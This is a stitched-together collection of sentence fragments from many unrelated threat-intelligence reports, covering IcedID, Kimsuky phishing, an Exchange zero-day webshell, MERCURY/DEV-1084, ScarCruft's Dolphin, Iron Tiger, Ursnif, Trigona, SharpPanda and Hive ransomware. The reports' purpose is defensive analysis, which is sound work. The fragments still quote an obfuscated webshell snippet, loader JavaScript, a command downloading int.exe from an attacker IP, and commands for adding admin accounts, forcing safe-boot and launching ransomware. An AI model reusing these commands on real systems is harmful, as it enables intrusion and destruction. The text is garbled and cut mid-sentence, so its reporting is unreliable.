Bot Analysis Field Standard Bot Forked Bot File format Custom PE Format Custom PE Format Rough size 368 KB 304 KB Removed code Removed web injects capability Versioning Currently at version 119 Currently at version 111 Looking at the Forked IcedID Bot variant and the Standard Bot variant in BinDiff, researchers observed that the Standard IcedID bot contains more functionality than the Forked variant.


Figure 26: Output of BinDiff showing the Standard Bot vs the Forked Bot.


Combining Hexray’s Lumina and BinDiff shows that the Standard Bot contains functionality relating to web injects, adversary in the middle (AiTM) and backconnect capabilities that do not exist within the Forked variant.


Lite Loader Anomaly


Pivoting again to find files that reach to the URL, we come across the Lite Loader sample itself.


Looking at the build artifacts of this sample, it seems like the threat actors have removed the PDB path, but the Lite Loader still contains the build name “Loader.dll”.


Similarly, this IP address hosted an IcedID campaign from TA581 that occurred on 21 February 2023.


ET Rules ET MALWARE Win32/IcedID Request Cookie ETPRO MALWARE Win32/IcedID Stage2 Checkin ETPRO MALWARE Win32/IcedID Stage2 CnC Activity ETPRO MALWARE Win32/IcedID Stage2 CnC Activity M2 (GET) Indicators of Compromise Indicator Type Description Date Observed ehonlionetodo[.]com C2 IcedID Loader February 2023 samoloangu[.]com C2 IcedID Loader February 20-23, 2023 sanoradesert[.]com C2 IcedID Bot February 20-23, 2023 steepenmount[.]com C2 IcedID Bot February 20-23, 2023 guidassembler[.]com C2 IcedID Bot February 20-23, 2023 renomesolar[.]com C2 IcedID Bot February 3, 2023 palasedelareforma[.]com C2 IcedID Bot February 3, 2023 noosaerty[.]com C2 IcedID Bot February 3, 2023 hxxp[://]helthbrotthersg[.]com/view[.]png URL HTA Payload URL February 3, 2023 hxxp[://]104[.]156[.]149[.]6/webdav/c2[.]dll URL Staging URL for Lite Loader February 22, 2023 hxxp[://]lepriconloots[.]com/botpackn1[.]dat URL Staging URL for the IcedID bot February 22, 2023 hxxp[://]94[.]131[.]11[.]141/webdav/Labels_FDA_toCheck[.]bat URL .URL


The social engineering tactics and some infrastructure characteristics closely relate to a Kimsuky activity privately reported by PwC and discussed in an NSA advisory published during the writing of this article.

Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence


The login form that is presented to the target is designed to capture entered credentials.


Reminder email The URL’s destination is manipulated through the spoofing technique of setting the href HTML property to direct to a website created by Kimsuky.


ReconShark exfiltrates information relevant for conducting subsequent precision attacks, such as deployed detection mechanisms and hardware information.


When clicked, the Sign In button executes the loginAct JavaScript function, whereas the rest of the buttons do not conduct any activities.


Fake NK News login site The JavaScript code captures entered credentials by issuing an HTTP POST request to https[://]www.nknews[.]pro/ip/register/login[.]php and then redirects the user to the legitimate NK News site.


JavaScript code The main website hosted at https[://]www.nknews[.]pro redirects to the legitimate NK News site, https://nknews.org, and uses a certificate issued by Sectigo: Thumbprint: a1597d197e9b084a043ada5c7dac1f9b6d7f7af3


b374k login site Conclusion SentinelLabs remains actively engaged in monitoring the activities conducted by Kimsuky.


ReconShark: SHA1 hash


At the same time, Red Team experts started researching and debugging Exchange de-compiled code to find the vulnerability and exploit code.

Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server


The vulnerability turns out to be so critical that it allows the attacker to do RCE on the compromised system.


ZDI verified and acknowledged 2 bugs, whose CVSS scores are 8.8 and 6.3, concerning the exploit as follows.


This looks familiar, right? -


Post-exploit activities After successfully mastering the exploit, we recorded attacks to collect information and create a foothold in the victim's system.


Webshell


Encoding.


FromBase64String('NTcyM'+'jk3O3'+'ZhciB'+'zYWZl'+''+'P'+'S'+char(837-763)+System.


FromBase64String('MQ=='))+char(51450/525)+''+''+char(0640-0462)+char(0x8c28/0x1cc)+char(0212100/01250)+System.Text.


In addition, the hacker also injects malicious DLLs into the memory, drops suspicious files on the attacked servers, and executes these files through WMIC.


If yes, call method i in class m to handle received request.


Victim 1: https://*:443/ews/web/webconfig/ https://*:443/owa/auth/webcccsd/ https://*:444/ews/auto/ https://*:444/ews/web/api/ Victim 2: http://*:80/owa/auth/Current/script/ https://*:443/owa/auth/Current/script/ GTSC also detected that the DLL was injected into the memory of the svchost.exe process.


In addition, we are also concerned that there may be many other organizations that have been exploited but have not been discovered.


*“ to the URL Path: - Condition input: Choose {REQUEST_URI} We recommend all organizations/enterprises around the world that are using Microsoft Exchange Server to check, review, and apply the above temporary remedy as soon as possible to avoid potential serious damages.


File Name: pxh4HG1v.ashx Hash (SHA256): c838e77afe750d713e67ffeb4ec1b82ee9066cbe21f11181fd34429f70831ec1 Path: C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\pxh4HG1v.ashx File Name: RedirSuiteServiceProxy.aspx Hash (SHA256): 65a002fe655dc1751add167cf00adf284c080ab2e97cd386881518d3a31d27f5 Path: C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\RedirSuiteServiceProxy.aspx File Name: RedirSuiteServiceProxy.aspx Hash (SHA256): b5038f1912e7253c7747d2f0fa5310ee8319288f818392298fd92009926268ca Path: C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\RedirSuiteServiceProxy.aspx File Name: Xml.ashx Hash (SHA256): c838e77afe750d713e67ffeb4ec1b82ee9066cbe21f11181fd34429f70831ec1 Path: Xml.ashx Filename: errorEE.aspx SHA256: be07bd9310d7a487ca2f49bcdaafb9513c0c8f99921fdf79a05eaba25b52d257 Path:


C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\errorEE.aspx DLL:


In a February 2023 blog post, Ahnlab described a new ransomware campaign affecting South Korean organizations which deployed a malware they dubbed “TZW” ransomware.

Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family


The payloads are typically distributed via 7zip or traditional zip file archives.


The pre-TZW GlobeImposter ransom notes follow the same template as the current TZW samples.


Examples of CRYPTO LOCKER markers at EOF (TZW and LOLKEK variants).


Code and functionality, by and large, are identical across GlobeImposter payloads pointing to obzuqvr5424kkc4unbq2p2i67ny3zngce3tbdr37nicjqesgqcgomfqd[.] onion and those pointing to the newer tzw7ckhurmxgcpajx6gy57dkrysl2sigfrt6nk4a3rvedfldigtor7ad[.]onion.


AhnLab’s research describes artifacts from a specific sample within a specific campaign.


This Apache status screen is visible as a result of a misconfiguration on the Apache server, allowing us to see all the active vhosts (virtual hosts) present there.


Ensuring good user hygiene, along with strong, properly-configured, and robust security controls will go a long way to prevent these attacks from affecting your environment.


File Deletion T1112 – Modify Registry T1012 – Query Registry T1083 – File and Directory Discovery T1027.002 – Obfuscated Files or Information: Software Packing T1082 – System Information Discovery T1490 – Inhibit System Recovery T1547.001 – Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder


Microsoft shifts to a new threat actor naming taxonomy.

MERCURY and DEV1084 Destructive attack on hybrid environment


Microsoft assesses that MERCURY likely worked in partnership with another actor that Microsoft tracks as DEV-1084, who carried out the destructive actions after MERCURY’s successful operations had gained access to the target environment.


DEV-1084 was then later observed leveraging highly privileged compromised credentials to perform en masse destruction of resources, including server farms, virtual machines, storage accounts, and virtual networks, and send emails to internal and external recipients.


As with any observed nation-state actor activity, Microsoft has directly notified targeted or compromised customers, providing them with important information needed to secure their environments.


MERCURY has also been observed using Rport and a similar version of Ligolo in previous attacks.


It is not currently clear if DEV-1084 operates independently of MERCURY and works with other Iranian actors or if DEV-1084 is an ‘effects based’ sub-team of MERCURY that only surfaces when MERCURY operators are instructed to carry out a destructive attack.


Installing web shells Adding a local user account and elevating privileges to local administrator Installing legitimate remote access tools, such as RPort, Ligolo and eHorus Installing a customized PowerShell script backdoor Stealing credentials Once the persistence is established, the threat actors perform extensive discovery leveraging common native Windows tools and commands such as netstat and nltest.


For execution and communication, the threat actors leverage several C2 servers and sometimes deploy tunnelling tools, such as Ligolo and OpenSSH, commonly leveraged to stay under the radar of security teams and solutions.


On-premises destructive impact In observed activity, the threat actors leveraged highly privileged credentials and access to domain controllers on on-premises destructive operations to prepare for large-scale encryption of targeted devices.


To do so, they first interfered with security tools using Group Policy Objects (GPO).


On-premises attack flow Moving from on-premises to cloud To move from on-premises to the cloud, the threat actors had to first compromise two privileged accounts and leverage them to manipulate the Azure Active Directory (Azure AD) Connect agent.


The account name is prefixed with MSOL_


The account is created with a long complex password as well, and by default (if using the express settings) prefixed with Sync_[ServerName].


In older versions, this account might be assigned with the Global Administrator role.


Next, they set up an SSH tunnel to an attacker-controlled device.


Adding access permission to the existing application With the obtained cloud administrator privileges, the threat actors updated the OAuth application with certificates to conduct malicious activities.


These newly added credentials could then be used to issue access tokens and authenticate on behalf of the application to access cloud resources.


Customers running Intune can enable DisableLocalAdminMerge to prevent modification of antivirus exclusions via GPO.


Further steps and recommendation to manage, design, and secure your Azure AD environment can be found by referring to Azure Identity Management and access control security best practices.


Turn on cloud-delivered protection to cover rapidly evolving attacker tools and techniques.


V HackTool:Win32/LSADump VirTool:Win32/RemoteExec Trojan:PowerShell/Downloader.


SA Ransom:Win64/DarkBit VirTool:Win32/AtExecCommand Microsoft Defender for Endpoint Microsoft Defender for Endpoint alerts with the following titles can indicate possible presence of the indicators of compromise listed below.


Detecting Log4j 2 exploitation Alerts that indicate threat activity related to the exploitation of the Log4j 2 exploitation should be immediately investigated and remediated.


Detecting post-exploitation activity Alerts with the following titles may indicate post-exploitation threat activity related to MERCURY activity described in this blog and should be immediately investigated and remediated.


NewValue == "True" | project ConsentTimestamp =Timestamp, UserId, AccountObjectId, ReportId, ActionType | join kind = leftouter (CloudAppEvents | where Application == "Office 365" | where ActionType == "Add app role assignment to service principal."


ModifiedProperties | extend OuthAppName = tostring(FullAccessPermission[6].NewValue)


In by AAD Connect Sync Account Malicious web application requests linked with Microsoft Defender for Endpoint Web Shell Activity Tracking Privileged Account Rare Activity Mass Cloud resource deletions Time Series Anomaly Consent to Application discovery OAuth Application Required Resource Access Update Rare application consent Credential added after admin consented to ApplicationNew access credential added to Application or Service Principal Microsoft Sentinel customers can use the TI Mapping analytic (a series of analytics all prefixed with “TI map”) to automatically match the indicators mentioned in this blog post with data in their workspace.


IndicatorTypeDescription9107be160f7b639d68fe3670de58ed254d81de6aec9a41ad58d91aa814a247ffDEV-1084 ransom payload8thCurse.exe80bd00c0f6d5e39b542ee6e9b67b1eef97b2dbc6ec6cae87bf5148f1cf18c260DEV-1084 batch script8dd9773c24703e803903e7a5faa088c2df9a4b509549e768f29276ef86ef96aeDEV-1084 batch script486eb80171c086f4d184423ed7e79303ad7276834e5e5529b199f8ae5fc661f2DEV-1084 batch scriptf1edff0fb16a64ac5a2ce64579d0d76920c37a0fd183d4c19219ca990f50effcDEV-1084 batch script887ae654d69ac5ccb8835e565a449d7716d6c4747dc2fbff1f59f11723244202DEV-1084 batch script3fba459d589cd513d2478fb4ae7c4efd6aa09e62bc3ff249a19f9a233e922061DEV-1084 batch script0dde13e3cd2dcda522eeb565b6374c97b3ed4aa6b8ed9ff9b6224ea97bf2a584DEV-1084 batch scriptafd16b9ad57eb9c26c8ae347c379c8e2b82361c7bdff5b189659674d5614854cDEV-1084 batch script3e59d36faf2d5e6edf1d881e2043a46055c63b7c68cc08d44cc7fc1b364157ebDEV-1084 batch script786bd97172ec0cef88f6ea08e3cb482fd15cf28ab22d37792e3a86fa3c27c975DEV-1084 batch script36c71ce7cd38733eb66f32a8c56acd635680197f01585c5a2a846cc3cb0a8fe2DEV-1084 batch script016967de76382c674b3a1cb912eb85ff642b2ebfe4e107fc576065f172c6ef80DEV-1084 batch script3059844c102595172bb7f644c9a70d77a198a11f1e84539792408b1f19954e18DEV-1084 batch script194.61.121[.]86Command and controlhxxps://pairing[.]rport[.]io/qMLc2WxDownload Rport software from it141.95.22[.]153Command and control193.200[.]16.3Command and control192.52.166[.]191Command and control45.56.162[.]111Command and control104.194.222[.]219Command and control192.169.6[.]88Command and control192.52.167[.]209Command and controlwebstore4tech[.]uaenorth.cloudapp.azure[.]comCommand and controlvatacloud[.]comActor-owned Rport domain146.70.106[.]89DEV-1084 operators were observed sending threatening emails to the victim after the attack from 146.70.106[.]89, an IP address previously linked to MERCURYb9cf785b81778e2b805752c7b839737416e3af54f64f1e40e008142e382df0c4Rport Legit remote access toolrport.exeab179112caadaf138241c43c4a4dccc2e3c67aeb96a151e432cfbafa18a4b436Customized Ligolo tunneling tool46.249.35[.]243Command and control45.86.230[.]20Command and control6485a68ba1d335d16a1d158976e0cbfad7ab15b51de00c381d240e8b0c479f77db.ps1 Customized Script Backdoorb155c5b3a8f4c89ba74c5c5c03d029e4202510d0cbb5e152995ab91e6809bcd7db.sqlite Customized Obfuscated Script Backdoor NOTE:


TLDs from Google brought some discussion about attack vectors.

ZipJar a little bit unexpected attack chain


A jar full of zippers, symbol picture The Chain Windows Explorer The location bar in the Windows Explorer is also a Search Bar and can be used to find and open files.


=anonymous the Windows Explorer will not spawn a new browser but will map the folder directly.


One example for this is the .jar filetype, meaning it is possible to execute Java code if the user has a JRE installed, which is quite often the case in business environment.


There are some quite old, but still promising approaches like How to Inject Shellcode from Java.


InputStreamReader; public class HelloWorld { public static void main(String[] args) { // Ausgabe Hello World!


System.out.println("Hello World!"); String command = "calc.exe"; try { Process process = Runtime.getRuntime().exec(command); BufferedReader reader = new BufferedReader( new InputStreamReader(process.getInputStream())); String line; while ((line = reader.readLine()) !


The calc.exe is a custom binary, not the Windows calc.exe.


Hello Hans, your client is missing an update.


We already copied the zip file to your client.


Opening a WebDAV folder will also start the WebDAV service, which is quite famous to use for some ActiveDirectory privilege escalation with relaying to LDAP (RBCD).


LSASS Dump A side effect of the WebDAV is, that the Defender is not going to delete files correctly on that shared folder.


This will still trigger an alarm, so absolutely not OPSEC!


In this blogpost, we provide a technical analysis of the Dolphin backdoor and explain its connection to previously documented ScarCruft activity.

Whos swimming in South Korean waters Meet ScarCrufts Dolphin


We will present our findings about this new addition to ScarCruft’s toolset at the AVAR 2022 conference.


The backdoor was used as the final payload of a multistage attack in early 2021, involving a watering-hole attack on a South Korean online newspaper, an Internet Explorer exploit, and another ScarCruft backdoor, named BLUELIGHT.


Since the initial discovery of Dolphin in April 2021, ESET researchers have observed multiple versions of the backdoor, in which the threat actors improved the backdoor’s capabilities and made attempts to evade detection.


The attack consisted of multiple components, including an Internet Explorer exploit and shellcode leading to a backdoor named BLUELIGHT, reported by Volexity and Kaspersky.


Figure 1 provides an overview of the attack components leading to the execution of the Dolphin backdoor.


Overview of the attack components leading to the execution of the Dolphin backdoor Dolphin analysis Analysis of Dolphin’s components and their capabilities is provided in the following section.


Dolphin installer Ensuing sections describe the installer and loader components responsible for the execution of the Dolphin backdoor in the analyzed attack scenario.


It is worth noting that this installer and the deployed loader are not exclusive to Dolphin, and were previously seen used with other ScarCruft malware.


To generate Step 1 of Loader, it uses a script template that is filled with randomly generated names (variables, function).


The script is then written to <loader_step_1>.


Step 2 (embedded in the installer) containing the rest of the loading chain, including the payload, is encrypted with a one-byte XOR key derived from the current time and written to <loader_encrypted_step_2>.


Step 1, the Python script, reads a specified file, XOR-decrypts its contents, and executes the resulting shellcode.


We named the backdoor Dolphin based on a PDB path found in the executable: D:\Development\BACKDOOR\Dolphin\x64\Release\Dolphin.pdb Persistence The backdoor periodically checks and creates its own persistence by making sure that Step 1 of the loader is run every time the system is started, via a registry Run value, in the same way as in the installer: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\<random_run_name>\”%appdata%\Python27({32|64})\pythonw.exe” “<loader_step_1>” “<loader_encrypted_step_2>” Capabilities The following basic information about the computer and the backdoor is collected: Current backdoor configuration Username Computer name Local and external IP address List of installed security products RAM size and usage Result of check for debugger and other inspection tools (such as Wireshark) OS version Current time Malware version Dolphin downloads commands, issued by its operators, from Google Drive storage and executes them.


Most of Dolphin’s capabilities are controlled through commands.


The most relevant capabilities are described below.


The command to get specific files was improved, by caching/storing it in the configuration until completion.


The defaults are chrome and internet explore (sic).


Screenshots and keylogging are enabled by default, and can be toggled via a command.


Accessing their victims’ inboxes with a third-party client via IMAP probably helps ScarCruft operators maintain access to the victims’ emails after stealing credentials, which may not be enough on their own, due to Google’s detection of suspicious login attempts.


The content is encrypted using AES CBC with random 16-byte keys and IVs, which are stored at the file’s beginning.


Dolphin backdoor configuration The configuration can be modified through commands.


Dynamic resolution of suspicious APIs instead of static imports (for example GetAsyncKeyState) added Shellcode capability finished and improved Persisted shellcode stored in files instead of registry Persisted shellcode loaded and executed on Dolphin startup (previously missing) Portable device file exfiltration capability finished and improved Exfiltration by extensions added Recognition of internal memory and SD cards (from device ID) added Command to get files from portable devices effectively a NOP Device/drive detection and file exfiltration improved Dolphin now unconditionally creates directory listings and exfiltrates files by extension every 30 minutes for all drives and devices (fixed drives, removable drives, portable devices).


MSDolphin backdoor version 1.9 (x64) 5B70453AB58824A65ED0B6175C903AA022A87D6AN/AWin32/Spy.


APIDolphin uses Windows API functions to execute files and inject processes.


T1027Obfuscated Files or InformationDolphin has encrypted components.


T1560.002Archive Collected Data: Archive via LibraryUsing the Zipper library, Dolphin compresses and encrypts collected data before exfiltration.


T1074.001Data Staged: Local Data StagingDolphin stages collected data in a directory before exfiltration.


As with the previous version, Iron Tiger had made the loading logic complex, probably in an attempt to evade security solutions.

Iron Tigers SysUpdate Reappears Adds Linux Targeting


This new version has similar features to the 2021 version, except that the C++ run-time type information (RTTI) classes we previously observed in 2021 had been removed, and that the code structure was changed to use the ASIO C++ asynchronous library.


Loading process We observed the loading process entailing the following steps: The attacker runs rc.exe, a legitimate “Microsoft Resource Compiler” signed file , which is vulnerable to a DLL side-loading vulnerability, and loads a file named rc.dll.


Depending on the number of command line parameters, different actions are performed: Zero or two parameters: “Installs” the malware in the system, and calls Stage 1 again via process hollowing with four parameters One parameter: Same as previous action but without the “installation” Four parameters: Creates a memory section with the DES-encrypted malware configuration and a second Shikata Ga Nai shellcode decompressing and loading Stage 2.


Updated SysUpdate loading process routine We saw different legitimate executables being used, sideloading different DLL names, and multiple binary files names being loaded by those DLLs.


Wazuh is a free and open source security platform, and we could confirm that one of the victims was using the legitimate Wazuh platform.


C&C communication through DNS TXT requests.


Interestingly, the code related to this DNS C&C communication is only present in samples that use it, meaning that the builder is modular and that there might be samples in the wild with unreported features.


Collected machine information includes the following: Randomly generated GUID Hostname Domain name Username User privileges Processor architecture Current process ID Operating system version Current file path Local IP address and port used to send the network packet The configuration is encrypted with a hardcoded DES key and is a few bytes long following the structure enumerated below: Table 2.


The ELF samples were also written in C++, made use of the Asio library, shared common network encryption keys, and had many similar features.


Parameters passed to the binary as observed from Linux SysUpdate samples Parameter Effect -launch Sets persistence, zeroes boolean, and exits -run Zeroes boolean and continues -x Daemonize the process, zeroes boolean, and continues -i Daemonize the process, zeroes boolean, sets persistence, and continues -f <guid> Sets the GUID to <guid> and continues The persistence is ensured by copying a script similarly named as the current filename to the /usr/lib/systemd/system/ directory, and creating a symlink to this file in the /etc/ystem/system/multi-user.target.wants/ directory.


Thus, this method only works if the current process has root privileges.


The content of the script is:


Looking for that name in search engines brings results from the official VMProtect website.


As of this writing, the certificate is now revoked.


However, the legitimate files are signed with a “Xinda.im” certificate instead of the stolen VMProtect certificate.


However, we found traces of files from the legitimate Youdu chat application signed by Xinda.im being copied to folders named “i Talk” on one victim’s computer.


This would be consistent with the tactics, techniques, and procedures (TTPs) of two previous Iron Tiger campaigns from 2020 and 2021: a documented compromise of a chat application widely used by the Mongolian government, and a supply chain attack on Mimi chat, a chat application used in parts of South East Asia.


Post-exploitation tools We found a custom Chrome password and cookie grabber that appeared unfamiliar, and it was compiled and uploaded in September 2022.


Interestingly, the threat actor registered a domain name similar to the company name and used it as a C&C.


It is worth mentioning that the customers mentioned in the Youdu official website are all located inside China, which could be an indicator of the threat actor’s interest in targets related to this country.


This campaign also substantiates the regular usage of chat applications as infection vectors from Iron Tiger.


Approximately 4 days after the initial infection, new activity on the host provided a clear distinction of a threat actor performing manual actions (hands on keyboard).

Unwrapping Ursnifs Gifts  The DFIR Report


Shortly afterwards, the threat actor injected into various processes and then proceeded to access lsass memory on the host to extract credentials.


These files were transferred to the domain controller over SMB.


After connecting to the Cobalt Strike beacon on the domain controller, the threat actor executed another round of discovery tasks and dumped lsass memory on the domain controller.


Finally, they dropped a script named adcomp.bat which executed a PowerShell command to collect data on computers in the Windows domain.


One host of interest was one of the backup servers, which was logged into, the state of backups were checked and running processes were reviewed before exiting the session.


The DFIR Report has previously reported on several incidents that involved the tactic of delivering malicious flies using ISO files: As we have previously highlighted, the Event Log Microsoft-Windows-VHDMP-Operational.evtx contains high confidence evidence when users mount ISO files.


We recommend looking for these events (especially Event ID’s 1, 12 & 25) in your environment and checking for anomalies.


Once mounted, the new drive contained a LNK file 6570872.lnk and hidden folder “me”.


Summary of the files found in 3488164.iso (a detailed break down of these can be found in Execution): File Name Purpose 6570872.lnk LNK file that executes alsoOne.bat me/by Empty folder me/here Empty folder me/123.com Renamed legitimate version of rundll32.exe me/alsoOne.bat Batch script to run canWell.js with specific arguments me/canWell.js Reverses argument strings and executes tslt.db with 123.com me/itslt.db Ursnif DLL or.jpg Image not used.


This script called a JavaScript file canWell.js in the same directory and provided a number of strings as arguments. alsoOne.bat set %params%=hello me\canWell.js hello cexe lldnur revreSretsigeRllD canWell.js /** WhnldGh */ function reverseString(str) { var splitString = str.split(""); var reverseArray = splitString.reverse(); var joinArray = reverseArray.join(""); return joinArray; } function ar(id) { r = WScript.Arguments(id); return r; } var sh = WScript.CreateObject("WScript.


The content of the value “ActiveDevice”: The payload used another ActiveX object to run a PowerShell command.


This command created additional aliases of common default PowerShell aliases gp (Get-ItemProperty) and iex (Invoke-Expression).


Shell');Ahgvof.


@"C:\Users\<REDACTED>\AppData\Local\Temp\npfdesjp\npfdesjp.cmdline" Finally, a unique command spawned from the parent explorer.exe process that was called pause.exe with multiple arguments, which appeared to not provide any additional functionality.


The GrantedAccess code of 0x1010 is a known indicator of such tools as Mimikatz.


GrantedAccess: 0x1010 CallTrace: C:\Windows\SYSTEM32\ntdll.dll+9fc24|C:\Windows\System32\KERNELBASE.dll+20d0e|UNKNOWN(000002AA74CFD95C) Discovery Ursnif related discovery As we have observed in other malware, Ursnif ran a number of automated discovery commands to gain information about the environment.


"wmic computersystem get domain |more >


C:\Users\<REDACTED>\AppData\Local\Temp\BD2C.bin1" cmd /C


"tasklist.exe /SVC >>


This account belonged to the Domain Admin group.


The actor leveraged Impacket’s wmiexec.py to execute commands with a semi-interactive shell, most likely using credentials gathered by the previous LSASS access.


The Impacket process hierarchy in this case can be visualized as: At the network level, commands are issued by DCOM/RPC port 135, with responses by SMB using port 445.


13Cubed (Richard Davis) also released an amazing resource to investigate Impacket related incidents here: https://www.13cubed.com/downloads/impacket_exec_commands_cheat_sheet_poster.pdf One of the observed commands invoked via WMI was ‘firefox.exe’.


The process generated a significant volume of network connections to 193.201.9[.]199, averaging ~6K requests per hour, equating to >150K connections throughout the duration of the intrusion.


Cobalt Strike The following Cobalt Strike C2 server was observed: 193.201.9.199:443 JA3:


The user agent ‘Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0; Win64; x64)’, an unusual browser configuration to masquerade as, which indicates use of Internet Explorer 8.0 (that was released ~2009).


The example HTTP stream containing the content The file that was uploaded 775E.bin was deleted by the injected ‘Explorer.exe’ process from the target endpoint in folder ‘\Users\<REDACTED>\AppData\Local\Temp’


Logon Process: NtLmSsp Authentication Package: NTLM Transited Services: - Package Name (NTLM only): NTLM V2 During that time, the threat actor undertook a number of hands-on keyboard actions; this included reviewing backups in a backup console, checking on running tasks, and using notepad to paste in the following content.


Text Document.txt Sysmon Copy Paste Collection EID 24: user: DOMAIN\USER ip: 127.0.0.1 hostname: WIN-RRRU9REOK18 Indicators Atomic RDP Client Name: WIN-RRRU9REOK18 Ursnif Domains: denterdrigx.com superliner.top internetlines.in superstarts.top superlinez.top internetlined.com Ursnif IPs: 62.173.149.7 31.41.44.97 5.42.199.83 31.41.44.27 208.91.197.91 187.190.48.135 210.92.250.133 189.143.170.233 201.103.222.246 151.251.24.5 190.147.189.122 115.88.24.202 211.40.39.251 187.195.146.2 186.182.55.44 222.232.238.243 211.119.84.111


Qakbot was one such threat group and made up the majority of our observations of malicious OneNote files during this period.


The Zip contains an ISO image file.


OneNote quickly gained traction and was adopted by several threat groups (including Qakbot) in January and early February 2023.


By analyzing Trigona ransomware binaries and ransom notes obtained from VirusTotal, as well as information from Unit 42 incident response, we determined that Trigona was very active during December 2022, with at least 15 potential victims being compromised.

BeeWare of Trigona An Emerging Ransomware Strain


Keys found in CurrentVersion\Run contain references to programs that will execute when a user logs in.


We have also seen farusbig@tutanota[.]com used as the contact email in other Trigona ransom notes.


Leak Site Analysis When Trigona was first observed, there was no evidence of this group using a leak site for double extortion.


Mailthink is a service that allows users to create temporary, disposable email addresses.


Given the following features, the Unit 42 team believes with moderate confidence that the surface web leak page was a development environment to test out features before a possible move to the dark web: Several posts appear to be duplicates from the BlackCat leak site (as shown in Figure 4)


Several of the countdown timers are considerably longer


Comparison between Trigona leak site (left) and BlackCat (ALPHV) leak site (right).Similarities to CryLock Ransomware Trigona operators share overlap in tactics, techniques and procedures (TTPs) with CryLock ransomware operators, suggesting that ransomware threat actors that once deployed CryLock ransomware might have moved on to deploying Trigona ransomware.


The email associated with Trigona ransom notes analyzed by Unit 42 (phandaledr@onionmail[.]org) was mentioned in an online forum discussing CryLock ransomware, as shown below in Figure 5. Figure 5.


A user on SafeZone, a Russian anti-malware forum, seeking help for Crylock ransomware.


This does not necessarily imply a flaw or malicious quality to the legitimate product being abused.


Deleting Volume Shadow Copies Disconnecting all network drives Unit


DC2.exe DC2.exe contains a password protected version of Mimikatz, which is a tool used for extracting sensitive information such as passwords and authentication credentials from a Windows operating system.


When the executable is run, the threat actor is prompted for a password to continue.


Credential Manipulation Mimikatz allows the user to manipulate the dumped credentials, such as changing passwords, creating new user accounts and adding users to groups.


Modifies the Windows registry to allow remote desktop connections.


Inno Setup is a free software installer for Windows programs.


Indicator Removal: File Deletion Trigona operators delete files such as mim.exe, mim32.exe, zam.exe and zam.bat to cover their tracks.


Mim32.exe is associated with Mimikatz while zam.exe and zam.bat are associated with NetScan.


Remote Desktop Protocol Trigona operators utilize RDP to move laterally in the victim’s environment.


TA0008 Lateral Movement T1570.


Lateral Tool Transfer Trigona operators use Splashtop to transfer malicious tools from computer to computer in the victim’s environment.


Prisma Cloud will detect any instance of this malware being executed through properly configured Defender agents using Wildfire.


[T1548.002] Cortex XDR Prevent Configure Behavioral Threat Protection under the Malware Security Profile Enable Anti-Exploit Protection Configure Restrictions Security Profile Enable Anti-Malware Protection Privilege Escalation, Defense Evasion


The below courses of action mitigate the following techniques: Remote Access Software [T1219],


Product Protection Guide.


The APT group utilizes spear-phishing techniques to obtain initial access, employing a combination of outdated Microsoft Office document vulnerabilities, novel evasion techniques, and highly potent backdoor malware.

SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations


Established in 1999, its primary objective is to foster global economic cooperation and address key challenges impacting the worldwide economy.


The G20 holds annual summits where leaders convene to discuss and coordinate security, economic, and financial policies.


rundll32.exe C:\Users<Admin>\AppData\Local\Temp\c6gt.b StartA DLL Downloader (“c6gt.b”)


Figure 6 – Export functions of the DLL loader When the loader is executed through rundll32.exe, it collects various data from the victim’s computer.


With its extensive capabilities, this backdoor possesses the ability to perform a variety of operations, including: Capture screenshots of victims’ system Obtain information about processes and services running on the machine Create or terminate processes Delete/Create/Rename/Read/Write files and retrieve file attributes Retrieve TCP/UDP tables Retrieve information about registry keys Obtain titles of all top-level windows Trigger a shutdown of the targeted computer Gather computer-specific information such as computer name, username, gateway address, network adapter details, Windows version, and user type Conclusion The SharpPanda APT group is comprised of exceptionally sophisticated cyber-TAs who execute targeted and extended attacks against specific targets, including governments, organizations, and industries, with the objectives of spying, disruption, or monetary gain.


SharpPanda has been associated with multiple cyber espionage campaigns, employing strategies such as spear-phishing, manipulation through social engineering, and exploiting zero-day vulnerabilities to gain illicit access to networks.


Turn on the automatic software update feature on your computer, mobile, and other connected devices.


Monitor the beacon on the network level to block data exfiltration by malware or TAs.


One objective of this research is to discover new techniques being used in the wild, so we can develop new detection and response capabilities.


These extra steps would make it extremely difficult, if not impossible, for a victim to effectively use their security tools to defend endpoints after a certain point in the attack.


/priority normal http://79.137.206.47/int.exe C:\Windows\int.exe The malicious actor then began using the remote process execution tool PSExec to execute batch files (rdp.bat) that would cause registry changes to enable Remote Desktop sessions (RDP) using reg.exe.


C:\WINDOWS\system32\net1 localgroup Administrators <REDACTED> /add bcdedit /set {default} safeboot minimal reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v


-t 10 -c "Computer Will Now Restart In SAFE MODE..." Rapid7 also observed the malicious actor extracting HIVE ransomware payload using 7zip's console application (7zr.exe) from encrypted 7zip archive (int.7z) with a simple password (123):"C:\windows\7zr.exe" x c:\windows\int.7z -p123 -oc:\windowsThe malicious actor then manually executed the ransomware (int.exe) once with only the required username:password combination passed to the -u flag.


This presumably encrypted the local drive and also all network shares the user had access to:"C:\Windows\int.exe" -u <REDACTED>:<REDACTED>"The malicious actor also manually executed the 64 bit version of the ransomware (int64.exe) once on a different host with the -no-discovery flag.


In order to respond and halt the ransomware, each host must be physically visited for shutdown.


{default} safebootLastly, the malicious actor also manually executed the payload a few times on systems that had not been put into safeboot minimal and rebooted.


Rapid7 notes that ThreatLocker have reported on similar activity in their knowledge base article entitled Preventing BCDEdit From Being Weaponized.


The local module utilizes the LookupPrivilegeValueW and AdjustTokenPrivileges that Windows API calls on its own process via GetCurrentProcess and OpenProcessToken to obtain SeDebugPrivilege privileges.


Lastly, the discovery module will use NetServerEnum to identify available Windows hosts within the domain/workgroup.


